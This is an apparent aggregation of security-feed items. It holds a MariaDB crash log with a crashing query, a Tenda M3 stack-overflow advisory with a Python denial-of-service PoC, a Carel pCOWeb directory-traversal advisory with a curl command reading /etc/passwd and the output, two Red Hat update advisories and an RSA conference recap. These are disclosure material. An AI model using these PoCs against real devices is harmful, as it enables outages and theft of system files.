or one of the libraries it was linked against is corrupt, improperly built,

or misconfigured. This error can also be caused by malfunctioning hardware.

To report this bug, see https://mariadb.com/kb/en/reporting-bugs

We will try our best to scrape up some info that will hopefully help

diagnose the problem, but since we have already crashed, 

something is definitely wrong and this may fail.

Server version: 10.7.0-MariaDB

key\_buffer\_size=134217728

read\_buffer\_size=131072

max\_used\_connections=1

max\_threads=153

thread\_count=1

It is possible that mysqld could use up to 

key\_buffer\_size + (read\_buffer\_size + sort\_buffer\_size)\*max\_threads = 467956 K  bytes of memory

Hope that's ok; if not, decrease some variables in the equation.

Thread pointer: 0x62b0000bd218

Attempting backtrace. You can use the following information to find out

where mysqld died. If you see no messages after this, something went

terribly wrong...

stack\_bottom = 0x7f722a3fd850 thread\_stack 0x5fc00

sanitizer\_common/sanitizer\_common\_interceptors.inc:4203(\_\_interceptor\_backtrace.part.0)\[0x7f7249ca9c3e\]

mysys/stacktrace.c:213(my\_print\_stacktrace)\[0x55c05f113747\]

sql/signal\_handler.cc:222(handle\_fatal\_signal)\[0x55c05e0db120\]

sigaction.c:0(\_\_restore\_rt)\[0x7f7249693870\]

sql/item.cc:5561(Item\_field::fix\_outer\_field(THD\*, Field\*\*, Item\*\*))\[0x55c05e168491\]

sql/item.cc:5982(Item\_field::fix\_fields(THD\*, Item\*\*))\[0x55c05e16b34c\]

sql/item.h:1148(Item::fix\_fields\_if\_needed\_for\_scalar(THD\*, Item\*\*))\[0x55c05d80a2ed\]

sql/sql\_select.cc:1397(JOIN::prepare(TABLE\_LIST\*, Item\*, unsigned int, st\_order\*, bool, st\_order\*, Item\*, st\_order\*, st\_select\_lex\*, st\_select\_lex\_unit\*))\[0x55c05dac647c\]

sql/item\_subselect.cc:3903(subselect\_single\_select\_engine::prepare(THD\*))\[0x55c05e3cf4f6\]

sql/item\_subselect.cc:295(Item\_subselect::fix\_fields(THD\*, Item\*\*))\[0x55c05e3ccd05\]

sql/item.h:1148(Item::fix\_fields\_if\_needed\_for\_scalar(THD\*, Item\*\*))\[0x55c05d810338\]

sql/sql\_base.cc:8454(setup\_conds(THD\*, TABLE\_LIST\*, List<TABLE\_LIST>&, Item\*\*))\[0x55c05d810d40\]

sql/sql\_select.cc:833(JOIN::prepare(TABLE\_LIST\*, Item\*, unsigned int, st\_order\*, bool, st\_order\*, Item\*, st\_order\*, st\_select\_lex\*, st\_select\_lex\_unit\*))\[0x55c05dac6748\]

sql/sql\_select.cc:4967(mysql\_select(THD\*, TABLE\_LIST\*, List<Item>&, Item\*, unsigned int, st\_order\*, st\_order\*, Item\*, st\_order\*, unsigned long long, select\_result\*, st\_select\_lex\_unit\*, st\_select\_lex\*))\[0x55c05db0dcaa\]

sql/sql\_select.cc:545(handle\_select(THD\*, LEX\*, select\_result\*, unsigned long))\[0x55c05db0e655\]

sql/sql\_parse.cc:4718(mysql\_execute\_command(THD\*, bool))\[0x55c05d97d9c1\]

sql/sql\_parse.cc:8047(mysql\_parse(THD\*, char\*, unsigned int, Parser\_state\*))\[0x55c05d9805a1\]

sql/sql\_parse.cc:1898(dispatch\_command(enum\_server\_command, THD\*, char\*, unsigned int, bool))\[0x55c05d98660c\]

sql/sql\_parse.cc:1406(do\_command(THD\*, bool))\[0x55c05d98b73d\]

sql/sql\_connect.cc:1418(do\_handle\_one\_connection(CONNECT\*, bool))\[0x55c05dd46e57\]

sql/sql\_connect.cc:1312(handle\_one\_connection)\[0x55c05dd4733d\]

perfschema/pfs.cc:2204(pfs\_spawn\_thread)\[0x55c05e7d7c2c\]

pthread\_create.c:0(start\_thread)\[0x7f7249689259\]

:0(\_\_GI\_\_\_clone)\[0x7f72492345e3\]

Trying to get some variables.

Some pointers may be invalid and cause the dump to abort.

Query (0x629000087238): INSERT INTO v0 SELECT DISTINCT \* FROM v0 FULL JOIN v2 ON ( SELECT v0 . v1 )

Connection ID (thread ID): 4

Status: NOT\_KILLED

CVE-2022-32086: [MDEV-26412] Server crash in Item_field::fix_outer_field for INSERT SELECT

Tenda M3 V1.0.0.12 was discovered to contain a stack overflow via the listN parameter in the function fromDhcpListClient.

**Overview**

*   The device's official website: https://www.tenda.com.cn/product/M3.html
*   Firmware download website: https://www.tenda.com.cn/download/detail-3133.html

**Affected version**

V1.0.0.12(4856)

**Vulnerability details**

httpd in directory /bin has a stack overflow vulnerability. The vulnerability occurrs in the fromDhcpListClient function, which can be accessed via the URL goform/DhcpListClient

The POST parameter listN is concatenated. The program copies the POST argument without checking the length. We can set LISTEN equal to 1, the program will enter the red box, causing a stack overflow. Since the overflow overrides the LISTEN pointer variable, the atoi function will crash the program, causing a DOS attack in the second time looping.

**PoC**

Poc of Denial of Service(DoS)

import requests

data \= {
    b"LISTLEN": b"1",
    b"list1": b'A'\*0x300,
    b"page": b'A'
}
cookies \= {
    b"user": "admin"
}
res \= requests.post("http://127.0.0.1/goform/DhcpListClient", data\=data, cookies\=cookies)
print(res.content)

I use qemu-arm to emulate it. To make it work, I patched the httpd binary:

*   In the main function, The ConnectCfm function didn't work properly, so I patched it to NOP.
    
*   The R7WebsSecurityHandler function is used for permission control, and I've modified it to access URLs that can only be accessed after login.
    

In the main function, the program call the check_network function to get the IP address of the br0 interafce and use it as the listening address. So I create a iterface named br0 and configure its IP address to 127.0.0.1 .

CVE-2022-32039: IoT-vuln/Tenda/M3/fromDhcpListClient at main · d1tto/IoT-vuln

Carel pCOWeb HVAC BACnet Gateway version 2.1.0 suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the file GET parameter through the logdownload.cgi bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.

  
Carel pCOWeb HVAC BACnet Gateway 2.1.0 Unauthenticated Directory Traversal

Vendor: CAREL INDUSTRIES S.p.A.  
Product web page: https://www.carel.com  
Affected version: Firmware: A2.1.0 - B2.1.0  
                  Application Software: 2.15.4A  
                  Software version: v16 13020200

Summary: pCO sistema is the solution CAREL offers its customers for managing HVAC/R  
applications and systems. It consists of programmable controllers, user interfaces,  
gateways and communication interfaces, remote management systems to offer the OEMs  
working in HVAC/R a control system that is powerful yet flexible, can be easily interfaced  
to the more widely-used Building Management Systems, and can also be integrated into  
proprietary supervisory systems.

Desc: The device suffers from an unauthenticated arbitrary file disclosure vulnerability.  
Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script  
is not properly verified before being used to download log files. This can be exploited  
to disclose the contents of arbitrary and sensitive files via directory traversal attacks.

=======================================================================================  
/usr/local/www/usr-cgi/logdownload.cgi:  
---------------------------------------

01: #!/bin/bash  
02:  
03: if [ "$REQUEST_METHOD" = "POST" ]; then  
04:         read QUERY_STRING  
05:         REQUEST_METHOD=GET  
06:         export REQUEST_METHOD  
07:         export QUERY_STRING  
08: fi  
09:  
10: LOGDIR="/usr/local/root/flash/http/log"  
11:  
12: tmp=${QUERY_STRING%"$"*}  
13: cmd=${tmp%"="*}  
14: if [ "$cmd" = "dir" ]; then  
15:         PATHCURRENT=$LOGDIR/${tmp#*"="}  
16: else  
17:         PATHCURRENT=$LOGDIR  
18: fi  
19:  
20: tmp=${QUERY_STRING#*"$"}  
21: cmd=${tmp%"="*}  
22: if [ "$cmd" = "file" ]; then  
23:         FILECURRENT=${tmp#*"="}  
24: else  
25:         if [ -f $PATHCURRENT/lastlog.csv.gz ]; then  
26:                 FILECURRENT=lastlog.csv.gz  
27:         else  
28:                 FILECURRENT=lastlog.csv  
29:         fi  
30: fi  
31:  
32: if [ ! -f $PATHCURRENT/$FILECURRENT ]; then  
33:         echo -ne "Content-type: text/html\r\nCache-Control: no-cache\r\nExpires: -1\r\n\r\n"  
34:         cat carel.inc.html  
35:         echo "<center>File not available!</center>"  
36:         cat carel.bottom.html  
37:         exit  
38: fi  
39:  
40: if [ -z $(echo $FILECURRENT | grep -i gz ) ]; then  
41:         if [ -z $(echo $FILECURRENT | grep -i bmp ) ]; then  
42:                 if [ -z $(echo $FILECURRENT | grep -i svg ) ]; then  
43:                         echo -ne "Content-Type: text/csv\r\n"  
44:                 else  
45:                         echo -ne "Content-Type: image/svg+xml\r\n"  
46:                 fi  
47:         else  
48:                 echo -ne "Content-Type: image/bmp\r\n"  
49:         fi  
50: else  
51:         echo -ne "Content-Type: application/x-gzip\r\n"  
52: fi  
53: echo -ne "Content-Disposition: attachment; filename=$FILECURRENT\r\n\r\n"  
54:  
55: cat $PATHCURRENT/$FILECURRENT

=======================================================================================

Tested on: GNU/Linux 4.11.12 (armv7l)  
           thttpd/2.29

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
                            @zeroscience

Advisory ID: ZSL-2022-5709  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5709.php

10.05.2022

--

$ curl -s http://10.0.0.3/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/sh  
daemon:x:1:1:daemon:/usr/sbin:/bin/false  
bin:x:2:2:bin:/bin:/bin/false  
sys:x:3:3:sys:/dev:/bin/false  
sync:x:4:100:sync:/bin:/bin/sync  
mail:x:8:8:mail:/var/spool/mail:/bin/false  
www-data:x:33:33:www-data:/var/www:/bin/false  
operator:x:37:37:Operator:/var:/bin/false  
nobody:x:65534:65534:nobody:/home:/bin/false  
guest:x:502:101::/home/guest:/bin/bash  
carel:x:500:500:Carel:/home/carel:/bin/bash  
http:x:48:48:HTTP users:/usr/local/www/http:/bin/false  
httpadmin:x:200:200:httpadmin:/usr/local/www/http:/bin/bash  
sshd:x:1000:1001:SSH drop priv user:/:/bin/false

Carel pCOWeb HVAC BACnet Gateway 2.1.0 Unauthenticated Directory Traversal

Red Hat Security Advisory 2022-5483-01 - The Migration Toolkit for Containers enables you to migrate Kubernetes resources, persistent volume data, and internal container images between OpenShift Container Platform clusters, using the MTC web console or the Kubernetes API. Issues addressed include a denial of service vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Moderate: Migration Toolkit for Containers (MTC) 1.7.2 security and bug fix update  
Advisory ID:       RHSA-2022:5483-01  
Product:           Red Hat Migration Toolkit  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:5483  
Issue date:        2022-07-01  
CVE Names:         CVE-2018-25032 CVE-2020-0404 CVE-2020-4788  
                   CVE-2020-13974 CVE-2020-19131 CVE-2020-27820  
                   CVE-2020-35492 CVE-2021-0941 CVE-2021-3612  
                   CVE-2021-3634 CVE-2021-3669 CVE-2021-3737  
                   CVE-2021-3743 CVE-2021-3744 CVE-2021-3752  
                   CVE-2021-3759 CVE-2021-3764 CVE-2021-3772  
                   CVE-2021-3773 CVE-2021-3807 CVE-2021-4002  
                   CVE-2021-4037 CVE-2021-4083 CVE-2021-4157  
                   CVE-2021-4189 CVE-2021-4197 CVE-2021-4203  
                   CVE-2021-20322 CVE-2021-21781 CVE-2021-26401  
                   CVE-2021-29154 CVE-2021-37159 CVE-2021-41617  
                   CVE-2021-41864 CVE-2021-42739 CVE-2021-43056  
                   CVE-2021-43389 CVE-2021-43976 CVE-2021-44733  
                   CVE-2021-45485 CVE-2021-45486 CVE-2022-0001  
                   CVE-2022-0002 CVE-2022-0235 CVE-2022-0286  
                   CVE-2022-0322 CVE-2022-0536 CVE-2022-1011  
                   CVE-2022-1154 CVE-2022-1271 CVE-2022-23852  
                   CVE-2022-26691  
====================================================================  
1. Summary:

The Migration Toolkit for Containers (MTC) 1.7.2 is now available.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Description:

The Migration Toolkit for Containers (MTC) enables you to migrate  
Kubernetes resources, persistent volume data, and internal container images  
between OpenShift Container Platform clusters, using the MTC web console or  
the Kubernetes API.

Security Fix(es) from Bugzilla:

* nodejs-ansi-regex: Regular expression denial of service (ReDoS) matching  
ANSI escape codes (CVE-2021-3807)

* node-fetch: exposure of sensitive information to an unauthorized actor  
(CVE-2022-0235)

* follow-redirects: Exposure of Sensitive Information via Authorization  
Header leak (CVE-2022-0536)

For more details about the security issue(s), including the impact, a CVSS  
score, and other related information, refer to the CVE page(s) listed in  
the References section.

3. Solution:

For details on how to install and use MTC, refer to:

https://docs.openshift.com/container-platform/latest/migration_toolkit_for_containers/installing-mtc.html

4. Bugs fixed (https://bugzilla.redhat.com/):

2007557 - CVE-2021-3807 nodejs-ansi-regex: Regular expression denial of service (ReDoS) matching ANSI escape codes  
2038898 - [UI] ?Update Repository? option not getting disabled after adding the Replication Repository details to the MTC web console  
2040693 - ?Replication repository? wizard has no validation for name length  
2040695 - [MTC UI] ?Add Cluster? wizard stucks when the cluster name length is more than 63 characters  
2044591 - CVE-2022-0235 node-fetch: exposure of sensitive information to an unauthorized actor  
2048537 - Exposed route host to image registry? connecting successfully to invalid registry ?xyz.com?  
2053259 - CVE-2022-0536 follow-redirects: Exposure of Sensitive Information via Authorization Header leak  
2055658 - [MTC UI] Cancel button on ?Migrations? page does not disappear when migration gets Failed/Succeeded with warnings  
2056962 - [MTC UI] UI shows the wrong migration type info after changing the target namespace  
2058172 - [MTC UI] Successful Rollback is not showing the green success icon in the ?Last State? field.  
2058529 - [MTC UI] Migrations Plan is missing the type for the state migration performed before upgrade  
2061335 - [MTC UI] ?Update cluster? button is not getting disabled  
2062266 - MTC UI does not display logs properly [OADP-BL]  
2062862 - [MTC UI] Clusters page behaving unexpectedly on deleting the remote cluster?s service account secret from backend  
2074675 - HPAs of DeploymentConfigs are not being updated when migration from Openshift 3.x to Openshift 4.x  
2076593 - Velero pod log missing from UI  drop down  
2076599 - Velero pod log missing from downloaded logs folder [OADP-BL]  
2078459 - [MTC UI] Storageclass conversion plan is adding migstorage reference in migplan  
2079252 - [MTC]  Rsync options logs not visible in log-reader pod  
2082221 - Don't allow Storage class conversion migration if source cluster has only one storage class defined [UI]  
2082225 - non-numeric user when launching stage pods [OADP-BL]  
2088022 - Default CPU requests on Velero/Restic are too demanding making scheduling fail in certain environments  
2088026 - Cloud propagation phase in migration controller is not doing anything due to missing labels on Velero pods  
2089126 - [MTC] Migration controller cannot find Velero Pod because of wrong labels  
2089411 - [MTC] Log reader pod is missing velero and restic pod logs [OADP-BL]  
2089859 - [Crane] DPA CR is missing the required flag - Migration is getting failed at the EnsureCloudSecretPropagated phase due to the missing secret VolumeMounts  
2090317 - [MTC] mig-operator failed to create a DPA CR due to null values are passed instead of int [OADP-BL]  
2096939 - Fix legacy operator.yml inconsistencies and errors  
2100486 - [MTC UI] Target storage class field is not getting respected when clusters don't have replication repo configured.

5. References:

https://access.redhat.com/security/cve/CVE-2018-25032  
https://access.redhat.com/security/cve/CVE-2020-0404  
https://access.redhat.com/security/cve/CVE-2020-4788  
https://access.redhat.com/security/cve/CVE-2020-13974  
https://access.redhat.com/security/cve/CVE-2020-19131  
https://access.redhat.com/security/cve/CVE-2020-27820  
https://access.redhat.com/security/cve/CVE-2020-35492  
https://access.redhat.com/security/cve/CVE-2021-0941  
https://access.redhat.com/security/cve/CVE-2021-3612  
https://access.redhat.com/security/cve/CVE-2021-3634  
https://access.redhat.com/security/cve/CVE-2021-3669  
https://access.redhat.com/security/cve/CVE-2021-3737  
https://access.redhat.com/security/cve/CVE-2021-3743  
https://access.redhat.com/security/cve/CVE-2021-3744  
https://access.redhat.com/security/cve/CVE-2021-3752  
https://access.redhat.com/security/cve/CVE-2021-3759  
https://access.redhat.com/security/cve/CVE-2021-3764  
https://access.redhat.com/security/cve/CVE-2021-3772  
https://access.redhat.com/security/cve/CVE-2021-3773  
https://access.redhat.com/security/cve/CVE-2021-3807  
https://access.redhat.com/security/cve/CVE-2021-4002  
https://access.redhat.com/security/cve/CVE-2021-4037  
https://access.redhat.com/security/cve/CVE-2021-4083  
https://access.redhat.com/security/cve/CVE-2021-4157  
https://access.redhat.com/security/cve/CVE-2021-4189  
https://access.redhat.com/security/cve/CVE-2021-4197  
https://access.redhat.com/security/cve/CVE-2021-4203  
https://access.redhat.com/security/cve/CVE-2021-20322  
https://access.redhat.com/security/cve/CVE-2021-21781  
https://access.redhat.com/security/cve/CVE-2021-26401  
https://access.redhat.com/security/cve/CVE-2021-29154  
https://access.redhat.com/security/cve/CVE-2021-37159  
https://access.redhat.com/security/cve/CVE-2021-41617  
https://access.redhat.com/security/cve/CVE-2021-41864  
https://access.redhat.com/security/cve/CVE-2021-42739  
https://access.redhat.com/security/cve/CVE-2021-43056  
https://access.redhat.com/security/cve/CVE-2021-43389  
https://access.redhat.com/security/cve/CVE-2021-43976  
https://access.redhat.com/security/cve/CVE-2021-44733  
https://access.redhat.com/security/cve/CVE-2021-45485  
https://access.redhat.com/security/cve/CVE-2021-45486  
https://access.redhat.com/security/cve/CVE-2022-0001  
https://access.redhat.com/security/cve/CVE-2022-0002  
https://access.redhat.com/security/cve/CVE-2022-0235  
https://access.redhat.com/security/cve/CVE-2022-0286  
https://access.redhat.com/security/cve/CVE-2022-0322  
https://access.redhat.com/security/cve/CVE-2022-0536  
https://access.redhat.com/security/cve/CVE-2022-1011  
https://access.redhat.com/security/cve/CVE-2022-1154  
https://access.redhat.com/security/cve/CVE-2022-1271  
https://access.redhat.com/security/cve/CVE-2022-23852  
https://access.redhat.com/security/cve/CVE-2022-26691  
https://access.redhat.com/security/updates/classification/#moderate

6. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYr7qBNzjgjWX9erEAQgugw//ZP+OR2wysl+DmxNE9P5ri+kd/NBxdBKg  
C6vlBpczeXUvPLEFp03wuoBoagTRfib6xjrKdc8+joCQv6UFYcO1kjqZqgcZgBeu  
xJ6y7IzygYwK+nIoN3MP9YTYrejkwe7iaQnC3vLt3SIdg+u5s4N5kht4JPcnyRtY  
ERa6u3OBoJ9C62y+jeQct+lziaARoldGeRtXzA70PP7WJ9N0cEvlk3AkOHsxfhZS  
YXKPR+v94VlzU+egp97boMXZnvjvB/pGJLLtbPQtFsWIOMMzZ9iNHv2GsxQdsTyV  
0GO1PlI7vRleqiYig1pHCjCuqJ4LUxWSis1AX3GYNRnqNC4RvYh8JBx82pKAR/eI  
jhFC/r0A0AGzmpjHgY2S+2nz+P/O93aKr+RFfW+T+LVwAt854a0KPzZyMNWx1NPV  
ccRq5kcphGCNMphRm0jqK2P1/urzIEVhCN4QgsJjqiEN+JGP4c2URdlcUXHOI6td  
cR7jZfNb4T/sPg64h9fzip/FRoZNV3kYE8jjUd/pmFv7iJvAwuPij0H/dZsix4Zr  
vboj+aDdTzuWU6pXLq0Z9xjlhh2Um172HsTimBxO6l5oXrzpVKvxFgi3dp56F2ql  
6mkKuEr9gDWAxCkKBXsy5UQPNny7vxWc2cVGucevOYfF51zd/7cf1UDobG6scH2r  
wqRrUS7nR3w=nCFJ  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-5483-01

Red Hat Security Advisory 2022-5251-01 - The pcre2 package contains a new generation of the Perl Compatible Regular Expression libraries for implementing regular expression pattern matching using the same syntax and semantics as Perl. Issues addressed include an out of bounds read vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Moderate: pcre2 security update  
Advisory ID:       RHSA-2022:5251-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:5251  
Issue date:        2022-06-28  
CVE Names:         CVE-2022-1586 CVE-2022-1587  
====================================================================  
1. Summary:

An update for pcre2 is now available for Red Hat Enterprise Linux 9.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 9) - aarch64, ppc64le, s390x, x86_64  
Red Hat Enterprise Linux BaseOS (v. 9) - aarch64, noarch, ppc64le, s390x, x86_64

3. Description:

The pcre2 package contains a new generation of the Perl Compatible Regular  
Expression libraries for implementing regular expression pattern matching  
using the same syntax and semantics as Perl.

Security Fix(es):

* pcre2: Out-of-bounds read in compile_xclass_matchingpath in  
pcre2_jit_compile.c (CVE-2022-1586)

* pcre2: Out-of-bounds read in get_recurse_data_length in  
pcre2_jit_compile.c (CVE-2022-1587)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

5. Bugs fixed (https://bugzilla.redhat.com/):

2077976 - CVE-2022-1586 pcre2: Out-of-bounds read in compile_xclass_matchingpath in pcre2_jit_compile.c  
2077983 - CVE-2022-1587 pcre2: Out-of-bounds read in get_recurse_data_length in pcre2_jit_compile.c

6. Package List:

Red Hat Enterprise Linux AppStream (v. 9):

aarch64:  
pcre2-debuginfo-10.37-5.el9_0.aarch64.rpm  
pcre2-debugsource-10.37-5.el9_0.aarch64.rpm  
pcre2-devel-10.37-5.el9_0.aarch64.rpm  
pcre2-tools-debuginfo-10.37-5.el9_0.aarch64.rpm  
pcre2-utf16-10.37-5.el9_0.aarch64.rpm  
pcre2-utf16-debuginfo-10.37-5.el9_0.aarch64.rpm  
pcre2-utf32-10.37-5.el9_0.aarch64.rpm  
pcre2-utf32-debuginfo-10.37-5.el9_0.aarch64.rpm

ppc64le:  
pcre2-debuginfo-10.37-5.el9_0.ppc64le.rpm  
pcre2-debugsource-10.37-5.el9_0.ppc64le.rpm  
pcre2-devel-10.37-5.el9_0.ppc64le.rpm  
pcre2-tools-debuginfo-10.37-5.el9_0.ppc64le.rpm  
pcre2-utf16-10.37-5.el9_0.ppc64le.rpm  
pcre2-utf16-debuginfo-10.37-5.el9_0.ppc64le.rpm  
pcre2-utf32-10.37-5.el9_0.ppc64le.rpm  
pcre2-utf32-debuginfo-10.37-5.el9_0.ppc64le.rpm

s390x:  
pcre2-debuginfo-10.37-5.el9_0.s390x.rpm  
pcre2-debugsource-10.37-5.el9_0.s390x.rpm  
pcre2-devel-10.37-5.el9_0.s390x.rpm  
pcre2-tools-debuginfo-10.37-5.el9_0.s390x.rpm  
pcre2-utf16-10.37-5.el9_0.s390x.rpm  
pcre2-utf16-debuginfo-10.37-5.el9_0.s390x.rpm  
pcre2-utf32-10.37-5.el9_0.s390x.rpm  
pcre2-utf32-debuginfo-10.37-5.el9_0.s390x.rpm

x86_64:  
pcre2-debuginfo-10.37-5.el9_0.i686.rpm  
pcre2-debuginfo-10.37-5.el9_0.x86_64.rpm  
pcre2-debugsource-10.37-5.el9_0.i686.rpm  
pcre2-debugsource-10.37-5.el9_0.x86_64.rpm  
pcre2-devel-10.37-5.el9_0.i686.rpm  
pcre2-devel-10.37-5.el9_0.x86_64.rpm  
pcre2-tools-debuginfo-10.37-5.el9_0.i686.rpm  
pcre2-tools-debuginfo-10.37-5.el9_0.x86_64.rpm  
pcre2-utf16-10.37-5.el9_0.i686.rpm  
pcre2-utf16-10.37-5.el9_0.x86_64.rpm  
pcre2-utf16-debuginfo-10.37-5.el9_0.i686.rpm  
pcre2-utf16-debuginfo-10.37-5.el9_0.x86_64.rpm  
pcre2-utf32-10.37-5.el9_0.i686.rpm  
pcre2-utf32-10.37-5.el9_0.x86_64.rpm  
pcre2-utf32-debuginfo-10.37-5.el9_0.i686.rpm  
pcre2-utf32-debuginfo-10.37-5.el9_0.x86_64.rpm

Red Hat Enterprise Linux BaseOS (v. 9):

Source:  
pcre2-10.37-5.el9_0.src.rpm

aarch64:  
pcre2-10.37-5.el9_0.aarch64.rpm  
pcre2-debuginfo-10.37-5.el9_0.aarch64.rpm  
pcre2-debugsource-10.37-5.el9_0.aarch64.rpm  
pcre2-tools-debuginfo-10.37-5.el9_0.aarch64.rpm  
pcre2-utf16-debuginfo-10.37-5.el9_0.aarch64.rpm  
pcre2-utf32-debuginfo-10.37-5.el9_0.aarch64.rpm

noarch:  
pcre2-syntax-10.37-5.el9_0.noarch.rpm

ppc64le:  
pcre2-10.37-5.el9_0.ppc64le.rpm  
pcre2-debuginfo-10.37-5.el9_0.ppc64le.rpm  
pcre2-debugsource-10.37-5.el9_0.ppc64le.rpm  
pcre2-tools-debuginfo-10.37-5.el9_0.ppc64le.rpm  
pcre2-utf16-debuginfo-10.37-5.el9_0.ppc64le.rpm  
pcre2-utf32-debuginfo-10.37-5.el9_0.ppc64le.rpm

s390x:  
pcre2-10.37-5.el9_0.s390x.rpm  
pcre2-debuginfo-10.37-5.el9_0.s390x.rpm  
pcre2-debugsource-10.37-5.el9_0.s390x.rpm  
pcre2-tools-debuginfo-10.37-5.el9_0.s390x.rpm  
pcre2-utf16-debuginfo-10.37-5.el9_0.s390x.rpm  
pcre2-utf32-debuginfo-10.37-5.el9_0.s390x.rpm

x86_64:  
pcre2-10.37-5.el9_0.i686.rpm  
pcre2-10.37-5.el9_0.x86_64.rpm  
pcre2-debuginfo-10.37-5.el9_0.i686.rpm  
pcre2-debuginfo-10.37-5.el9_0.x86_64.rpm  
pcre2-debugsource-10.37-5.el9_0.i686.rpm  
pcre2-debugsource-10.37-5.el9_0.x86_64.rpm  
pcre2-tools-debuginfo-10.37-5.el9_0.i686.rpm  
pcre2-tools-debuginfo-10.37-5.el9_0.x86_64.rpm  
pcre2-utf16-debuginfo-10.37-5.el9_0.i686.rpm  
pcre2-utf16-debuginfo-10.37-5.el9_0.x86_64.rpm  
pcre2-utf32-debuginfo-10.37-5.el9_0.i686.rpm  
pcre2-utf32-debuginfo-10.37-5.el9_0.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-1586  
https://access.redhat.com/security/cve/CVE-2022-1587  
https://access.redhat.com/security/updates/classification/#moderate

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYr6Vy9zjgjWX9erEAQh2bg/+LdYiB1gQC91ra0Uesawb3dtYZ39+OSjN  
3QnPm++NkE4fwTWlHUVoba43HbGLUzC8fEadbW7fOmBKDpMQWIPTb18y4EjpaBUc  
cpFzxzYGVeZkq+cEu03qZfSLJ0yg2/w+8ssUN3aWMWQPJfmE+xCCaKuBxI/7L/tx  
YrH3flZG5FgXGw4oAKdD4vmRAvvyAUi+OexuhHyVYzspUChNvEUkhEZUJrGVPdye  
LCtDoSV3XIc/+Jn9utyv3/k/iHqzpk1d+bMyHaN3u3qDrfRUAcL+ER6YbLo1Ft/1  
LT0c8Yx7AIiJ3f2AEI58CFrAeGRWmjdIXR8ChXVE47ApuW4RtZF6n9TatcVTQ9Sd  
kIGgsKaFh2SaWMiiUKhPXwMC7AnSRZECTFABtsJmrUlqEHl2kqAhKyw9wFypTOGd  
d+U9kWu1KLjroNPGnYfG7yZOGbCluIytgrgfOLjpKm0d/18LFNgyZ/rEBol6FWZw  
jwzU6+HeisryStWkShM5ZdLS7/njwEijet+y/j8+gr+xDxyVFaeiXzkaEsAky6yS  
kzJofuQZMO5KVJRfLfRDn1f2AooDzfjOr5Nop+XWz3i4tfPiAjodp2dTsX2q5HE+  
ARgJaZHJFWjtIsMj8bYXeOZnAiNBRk6uVly1p1eugXmXLlgLk1YSmn+xWXt6tY4Y  
VgRFFTzbjy0=Q5SP  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-5251-01

The RSA conference in San Francisco always feels like drinking from a fire hose but especially this year at the first in-person RSA since the pandemic began.

It had been a few years, so with much anticipation, and not a little trepidation, 26,000 people descended on San Francisco for the RSA Conference. Vendors were eager to get back out in front of a live audience and the expo floor was tightly packed with more than 400 exhibitors. Themes emerged in numerous services.

Let’s start with data security. With all the talk of application security needing to "shift left", (i.e., embedding security processes into the development pipeline to reduce the attack surface of code before it enters production), it is only natural that data security should move in the same direction.

Keys and certificates associated with applications and containers need to be protected, as any organization that has adopted a DevSecOps approach will be aware. Indeed, in an ideal scenario, capabilities such as key management and encryption are baked into the workflows of developers and DevSecOps teams and "just work."

Identity was at the center of many a discussion. Achieving "zero trust" transformation with passwordless authentication received renewed attention at the show. Getting rid of passwords has been the holy grail for many organizations and individuals over the past 30 years, and Omdia believes that 2022 will be the year that we finally start to properly phase out passwords.

When it comes to infrastructure security, figuring out the 'risk' of cloud environments was a key topic of interest. Vendors such as Palo Alto Networks, Orca, Wiz, Check Point, and many, many others highlighted tooling to enable deeper understanding of one's cloud estate, with an increasing emphasis on cloud permissions management as a key focus area.

Working to secure the development process for creating cloud environments was another area much discussed, with Infrastructure as Code (IaC) a key pattern for achieving necessary scale. The broad interest in API security was also noteworthy. Specialized vendors such as Salt Security, Wallarm, Cequence, and others joined several of the cloud security vendors in adding API security capabilities to their offerings.

Wrapping up the key topics around infrastructure security, it was noticeable how prevalent the conversations around Secure Access Service Edge (SASE) were, in terms of major security vendors aligning themselves to the broader SASE theme or to its subset known as SSE. Cisco, Netskope, Versa Networks, Forcepoint, among others, demonstrated integrated offerings in this space.

